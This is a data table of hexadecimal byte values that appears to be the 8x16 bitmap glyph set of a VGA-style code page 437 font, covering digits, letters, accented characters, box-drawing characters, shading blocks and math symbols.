0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xfe,0xfe,0xfe,0x00,0x00,0x00,0x00, 0x00,0x00,0x18,0x3c,0x7e,0x18,0x18,0x18,0x7e,0x3c,0x18,0x7e,0x00,0x00,0x00,0x00, 0x00,0x00,0x18,0x3c,0x7e,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x00,0x00,0x00,0x00, 0x00,0x00,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x7e,0x3c,0x18,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x18,0x0c,0xfe,0x0c,0x18,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x30,0x60,0xfe,0x60,0x30,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0xc0,0xc0,0xfe,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x24,0x66,0xff,0x66,0x24,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x10,0x38,0x38,0x7c,0x7c,0xfe,0xfe,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0xfe,0xfe,0x7c,0x7c,0x38,0x38,0x10,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x18,0x3c,0x3c,0x3c,0x18,0x18,0x18,0x00,0x18,0x18,0x00,0x00,0x00,0x00, 0x00,0x66,0x66,0x66,0x24,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x6c,0x6c,0xfe,0x6c,0x6c,0x6c,0xfe,0x6c,0x6c,0x00,0x00,0x00,0x00, 0x18,0x18,0x7c,0xc6,0xc2,0xc0,0x7c,0x06,0x06,0x86,0xc6,0x7c,0x18,0x18,0x00,0x00, 0x00,0x00,0x00,0x00,0xc2,0xc6,0x0c,0x18,0x30,0x60,0xc6,0x86,0x00,0x00,0x00,0x00, 0x00,0x00,0x38,0x6c,0x6c,0x38,0x76,0xdc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, 0x00,0x30,0x30,0x30,0x60,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x0c,0x18,0x30,0x30,0x30,0x30,0x30,0x30,0x18,0x0c,0x00,0x00,0x00,0x00, 0x00,0x00,0x30,0x18,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x18,0x30,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x66,0x3c,0xff,0x3c,0x66,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x7e,0x18,0x18,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x18,0x30,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x7e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x02,0x06,0x0c,0x18,0x30,0x60,0xc0,0x80,0x00,0x00,0x00,0x00, 0x00,0x00,0x7c,0xc6,0xc6,0xce,0xde,0xf6,0xe6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x00,0x18,0x38,0x78,0x18,0x18,0x18,0x18,0x18,0x18,0x7e,0x00,0x00,0x00,0x00, 0x00,0x00,0x7c,0xc6,0x06,0x0c,0x18,0x30,0x60,0xc0,0xc6,0xfe,0x00,0x00,0x00,0x00, 0x00,0x00,0x7c,0xc6,0x06,0x06,0x3c,0x06,0x06,0x06,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x00,0x0c,0x1c,0x3c,0x6c,0xcc,0xfe,0x0c,0x0c,0x0c,0x1e,0x00,0x00,0x00,0x00, 0x00,0x00,0xfe,0xc0,0xc0,0xc0,0xfc,0x06,0x06,0x06,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x00,0x38,0x60,0xc0,0xc0,0xfc,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x00,0xfe,0xc6,0x06,0x06,0x0c,0x18,0x30,0x30,0x30,0x30,0x00,0x00,0x00,0x00, 0x00,0x00,0x7c,0xc6,0xc6,0xc6,0x7c,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x00,0x7c,0xc6,0xc6,0xc6,0x7e,0x06,0x06,0x06,0x0c,0x78,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x18,0x18,0x00,0x00,0x00,0x18,0x18,0x30,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x06,0x0c,0x18,0x30,0x60,0x30,0x18,0x0c,0x06,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x7e,0x00,0x00,0x7e,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x60,0x30,0x18,0x0c,0x06,0x0c,0x18,0x30,0x60,0x00,0x00,0x00,0x00, 0x00,0x00,0x7c,0xc6,0xc6,0x0c,0x18,0x18,0x18,0x00,0x18,0x18,0x00,0x00,0x00,0x00, 0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xde,0xde,0xde,0xdc,0xc0,0x7c,0x00,0x00,0x00,0x00, 0x00,0x00,0x10,0x38,0x6c,0xc6,0xc6,0xfe,0xc6,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, 0x00,0x00,0xfc,0x66,0x66,0x66,0x7c,0x66,0x66,0x66,0x66,0xfc,0x00,0x00,0x00,0x00, 0x00,0x00,0x3c,0x66,0xc2,0xc0,0xc0,0xc0,0xc0,0xc2,0x66,0x3c,0x00,0x00,0x00,0x00, 0x00,0x00,0xf8,0x6c,0x66,0x66,0x66,0x66,0x66,0x66,0x6c,0xf8,0x00,0x00,0x00,0x00, 0x00,0x00,0xfe,0x66,0x62,0x68,0x78,0x68,0x60,0x62,0x66,0xfe,0x00,0x00,0x00,0x00, 0x00,0x00,0xfe,0x66,0x62,0x68,0x78,0x68,0x60,0x60,0x60,0xf0,0x00,0x00,0x00,0x00, 0x00,0x00,0x3c,0x66,0xc2,0xc0,0xc0,0xde,0xc6,0xc6,0x66,0x3a,0x00,0x00,0x00,0x00, 0x00,0x00,0xc6,0xc6,0xc6,0xc6,0xfe,0xc6,0xc6,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, 0x00,0x00,0x3c,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, 0x00,0x00,0x1e,0x0c,0x0c,0x0c,0x0c,0x0c,0xcc,0xcc,0xcc,0x78,0x00,0x00,0x00,0x00, 0x00,0x00,0xe6,0x66,0x66,0x6c,0x78,0x78,0x6c,0x66,0x66,0xe6,0x00,0x00,0x00,0x00, 0x00,0x00,0xf0,0x60,0x60,0x60,0x60,0x60,0x60,0x62,0x66,0xfe,0x00,0x00,0x00,0x00, 0x00,0x00,0xc3,0xe7,0xff,0xff,0xdb,0xc3,0xc3,0xc3,0xc3,0xc3,0x00,0x00,0x00,0x00, 0x00,0x00,0xc6,0xe6,0xf6,0xfe,0xde,0xce,0xc6,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, 0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x00,0xfc,0x66,0x66,0x66,0x7c,0x60,0x60,0x60,0x60,0xf0,0x00,0x00,0x00,0x00, 0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xd6,0xde,0x7c,0x0c,0x0e,0x00,0x00, 0x00,0x00,0xfc,0x66,0x66,0x66,0x7c,0x6c,0x66,0x66,0x66,0xe6,0x00,0x00,0x00,0x00, 0x00,0x00,0x7c,0xc6,0xc6,0x60,0x38,0x0c,0x06,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x00,0xff,0xdb,0x99,0x18,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, 0x00,0x00,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x00,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0xc3,0x66,0x3c,0x18,0x00,0x00,0x00,0x00, 0x00,0x00,0xc3,0xc3,0xc3,0xc3,0xc3,0xdb,0xdb,0xff,0x66,0x66,0x00,0x00,0x00,0x00, 0x00,0x00,0xc3,0xc3,0x66,0x3c,0x18,0x18,0x3c,0x66,0xc3,0xc3,0x00,0x00,0x00,0x00, 0x00,0x00,0xc3,0xc3,0xc3,0x66,0x3c,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, 0x00,0x00,0xff,0xc3,0x86,0x0c,0x18,0x30,0x60,0xc1,0xc3,0xff,0x00,0x00,0x00,0x00, 0x00,0x00,0x3c,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x30,0x3c,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x80,0xc0,0xe0,0x70,0x38,0x1c,0x0e,0x06,0x02,0x00,0x00,0x00,0x00, 0x00,0x00,0x3c,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x0c,0x3c,0x00,0x00,0x00,0x00, 0x10,0x38,0x6c,0xc6,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x00,0x00, 0x30,0x30,0x18,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, 0x00,0x00,0xe0,0x60,0x60,0x78,0x6c,0x66,0x66,0x66,0x66,0x7c,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x7c,0xc6,0xc0,0xc0,0xc0,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x00,0x1c,0x0c,0x0c,0x3c,0x6c,0xcc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x00,0x38,0x6c,0x64,0x60,0xf0,0x60,0x60,0x60,0x60,0xf0,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x76,0xcc,0xcc,0xcc,0xcc,0xcc,0x7c,0x0c,0xcc,0x78,0x00, 0x00,0x00,0xe0,0x60,0x60,0x6c,0x76,0x66,0x66,0x66,0x66,0xe6,0x00,0x00,0x00,0x00, 0x00,0x00,0x18,0x18,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, 0x00,0x00,0x06,0x06,0x00,0x0e,0x06,0x06,0x06,0x06,0x06,0x06,0x66,0x66,0x3c,0x00, 0x00,0x00,0xe0,0x60,0x60,0x66,0x6c,0x78,0x78,0x6c,0x66,0xe6,0x00,0x00,0x00,0x00, 0x00,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0xe6,0xff,0xdb,0xdb,0xdb,0xdb,0xdb,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0xdc,0x66,0x66,0x66,0x66,0x66,0x66,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0xdc,0x66,0x66,0x66,0x66,0x66,0x7c,0x60,0x60,0xf0,0x00, 0x00,0x00,0x00,0x00,0x00,0x76,0xcc,0xcc,0xcc,0xcc,0xcc,0x7c,0x0c,0x0c,0x1e,0x00, 0x00,0x00,0x00,0x00,0x00,0xdc,0x76,0x66,0x60,0x60,0x60,0xf0,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x7c,0xc6,0x60,0x38,0x0c,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x00,0x10,0x30,0x30,0xfc,0x30,0x30,0x30,0x30,0x36,0x1c,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0xc3,0xc3,0xc3,0xc3,0x66,0x3c,0x18,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0xc3,0xc3,0xc3,0xdb,0xdb,0xff,0x66,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0xc3,0x66,0x3c,0x18,0x3c,0x66,0xc3,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7e,0x06,0x0c,0xf8,0x00, 0x00,0x00,0x00,0x00,0x00,0xfe,0xcc,0x18,0x30,0x60,0xc6,0xfe,0x00,0x00,0x00,0x00, 0x00,0x00,0x0e,0x18,0x18,0x18,0x70,0x18,0x18,0x18,0x18,0x0e,0x00,0x00,0x00,0x00, 0x00,0x00,0x18,0x18,0x18,0x18,0x00,0x18,0x18,0x18,0x18,0x18,0x00,0x00,0x00,0x00, 0x00,0x00,0x70,0x18,0x18,0x18,0x0e,0x18,0x18,0x18,0x18,0x70,0x00,0x00,0x00,0x00, 0x00,0x00,0x76,0xdc,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x10,0x38,0x6c,0xc6,0xc6,0xc6,0xfe,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x3c,0x66,0xc2,0xc0,0xc0,0xc0,0xc2,0x66,0x3c,0x0c,0x06,0x7c,0x00,0x00, 0x00,0x00,0xcc,0x00,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, 0x00,0x0c,0x18,0x30,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x10,0x38,0x6c,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, 0x00,0x00,0xcc,0x00,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, 0x00,0x60,0x30,0x18,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, 0x00,0x38,0x6c,0x38,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x3c,0x66,0x60,0x60,0x66,0x3c,0x0c,0x06,0x3c,0x00,0x00,0x00, 0x00,0x10,0x38,0x6c,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x00,0xc6,0x00,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x60,0x30,0x18,0x00,0x7c,0xc6,0xfe,0xc0,0xc0,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x00,0x66,0x00,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, 0x00,0x18,0x3c,0x66,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, 0x00,0x60,0x30,0x18,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, 0x00,0xc6,0x00,0x10,0x38,0x6c,0xc6,0xc6,0xfe,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, 0x38,0x6c,0x38,0x00,0x38,0x6c,0xc6,0xc6,0xfe,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, 0x18,0x30,0x60,0x00,0xfe,0x66,0x60,0x7c,0x60,0x60,0x66,0xfe,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x6e,0x3b,0x1b,0x7e,0xd8,0xdc,0x77,0x00,0x00,0x00,0x00, 0x00,0x00,0x3e,0x6c,0xcc,0xcc,0xfe,0xcc,0xcc,0xcc,0xcc,0xce,0x00,0x00,0x00,0x00, 0x00,0x10,0x38,0x6c,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x00,0xc6,0x00,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x60,0x30,0x18,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x30,0x78,0xcc,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, 0x00,0x60,0x30,0x18,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, 0x00,0x00,0xc6,0x00,0x00,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7e,0x06,0x0c,0x78,0x00, 0x00,0xc6,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0xc6,0x00,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x18,0x18,0x7e,0xc3,0xc0,0xc0,0xc0,0xc3,0x7e,0x18,0x18,0x00,0x00,0x00,0x00, 0x00,0x38,0x6c,0x64,0x60,0xf0,0x60,0x60,0x60,0x60,0xe6,0xfc,0x00,0x00,0x00,0x00, 0x00,0x00,0xc3,0x66,0x3c,0x18,0xff,0x18,0xff,0x18,0x18,0x18,0x00,0x00,0x00,0x00, 0x00,0xfc,0x66,0x66,0x7c,0x62,0x66,0x6f,0x66,0x66,0x66,0xf3,0x00,0x00,0x00,0x00, 0x00,0x0e,0x1b,0x18,0x18,0x18,0x7e,0x18,0x18,0x18,0x18,0x18,0xd8,0x70,0x00,0x00, 0x00,0x18,0x30,0x60,0x00,0x78,0x0c,0x7c,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, 0x00,0x0c,0x18,0x30,0x00,0x38,0x18,0x18,0x18,0x18,0x18,0x3c,0x00,0x00,0x00,0x00, 0x00,0x18,0x30,0x60,0x00,0x7c,0xc6,0xc6,0xc6,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x18,0x30,0x60,0x00,0xcc,0xcc,0xcc,0xcc,0xcc,0xcc,0x76,0x00,0x00,0x00,0x00, 0x00,0x00,0x76,0xdc,0x00,0xdc,0x66,0x66,0x66,0x66,0x66,0x66,0x00,0x00,0x00,0x00, 0x76,0xdc,0x00,0xc6,0xe6,0xf6,0xfe,0xde,0xce,0xc6,0xc6,0xc6,0x00,0x00,0x00,0x00, 0x00,0x3c,0x6c,0x6c,0x3e,0x00,0x7e,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x38,0x6c,0x6c,0x38,0x00,0x7c,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x30,0x30,0x00,0x30,0x30,0x60,0xc0,0xc6,0xc6,0x7c,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0xc0,0xc0,0xc0,0xc0,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0x06,0x06,0x06,0x06,0x00,0x00,0x00,0x00,0x00, 0x00,0xc0,0xc0,0xc2,0xc6,0xcc,0x18,0x30,0x60,0xce,0x9b,0x06,0x0c,0x1f,0x00,0x00, 0x00,0xc0,0xc0,0xc2,0xc6,0xcc,0x18,0x30,0x66,0xce,0x96,0x3e,0x06,0x06,0x00,0x00, 0x00,0x00,0x18,0x18,0x00,0x18,0x18,0x18,0x3c,0x3c,0x3c,0x18,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x36,0x6c,0xd8,0x6c,0x36,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0xd8,0x6c,0x36,0x6c,0xd8,0x00,0x00,0x00,0x00,0x00,0x00, 0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44,0x11,0x44, 0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa,0x55,0xaa, 0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77,0xdd,0x77, 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xf8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, 0x18,0x18,0x18,0x18,0x18,0xf8,0x18,0xf8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xf6,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xfe,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, 0x00,0x00,0x00,0x00,0x00,0xf8,0x18,0xf8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, 0x36,0x36,0x36,0x36,0x36,0xf6,0x06,0xf6,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, 0x00,0x00,0x00,0x00,0x00,0xfe,0x06,0xf6,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, 0x36,0x36,0x36,0x36,0x36,0xf6,0x06,0xfe,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xfe,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x18,0x18,0x18,0x18,0x18,0xf8,0x18,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xf8,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x1f,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, 0x18,0x18,0x18,0x18,0x18,0x1f,0x18,0x1f,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x37,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, 0x36,0x36,0x36,0x36,0x36,0x37,0x30,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x3f,0x30,0x37,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, 0x36,0x36,0x36,0x36,0x36,0xf7,0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0xff,0x00,0xf7,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, 0x36,0x36,0x36,0x36,0x36,0x37,0x30,0x37,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, 0x00,0x00,0x00,0x00,0x00,0xff,0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x36,0x36,0x36,0x36,0x36,0xf7,0x00,0xf7,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, 0x18,0x18,0x18,0x18,0x18,0xff,0x00,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0xff,0x00,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x3f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x18,0x18,0x18,0x18,0x18,0x1f,0x18,0x1f,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x1f,0x18,0x1f,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x3f,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, 0x36,0x36,0x36,0x36,0x36,0x36,0x36,0xff,0x36,0x36,0x36,0x36,0x36,0x36,0x36,0x36, 0x18,0x18,0x18,0x18,0x18,0xff,0x18,0xff,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, 0x18,0x18,0x18,0x18,0x18,0x18,0x18,0xf8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x1f,0x18,0x18,0x18,0x18,0x18,0x18,0x18,0x18, 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff, 0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0,0xf0, 0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f,0x0f, 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x76,0xdc,0xd8,0xd8,0xd8,0xdc,0x76,0x00,0x00,0x00,0x00, 0x00,0x00,0x78,0xcc,0xcc,0xcc,0xd8,0xcc,0xc6,0xc6,0xc6,0xcc,0x00,0x00,0x00,0x00, 0x00,0x00,0xfe,0xc6,0xc6,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0xc0,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0xfe,0x6c,0x6c,0x6c,0x6c,0x6c,0x6c,0x6c,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0xfe,0xc6,0x60,0x30,0x18,0x30,0x60,0xc6,0xfe,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x7e,0xd8,0xd8,0xd8,0xd8,0xd8,0x70,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x66,0x66,0x66,0x66,0x66,0x7c,0x60,0x60,0xc0,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x76,0xdc,0x18,0x18,0x18,0x18,0x18,0x18,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x7e,0x18,0x3c,0x66,0x66,0x66,0x3c,0x18,0x7e,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x38,0x6c,0xc6,0xc6,0xfe,0xc6,0xc6,0x6c,0x38,0x00,0x00,0x00,0x00, 0x00,0x00,0x38,0x6c,0xc6,0xc6,0xc6,0x6c,0x6c,0x6c,0x6c,0xee,0x00,0x00,0x00,0x00, 0x00,0x00,0x1e,0x30,0x18,0x0c,0x3e,0x66,0x66,0x66,0x66,0x3c,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x7e,0xdb,0xdb,0xdb,0x7e,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x03,0x06,0x7e,0xdb,0xdb,0xf3,0x7e,0x60,0xc0,0x00,0x00,0x00,0x00, 0x00,0x00,0x1c,0x30,0x60,0x60,0x7c,0x60,0x60,0x60,0x30,0x1c,0x00,0x00,0x00,0x00, 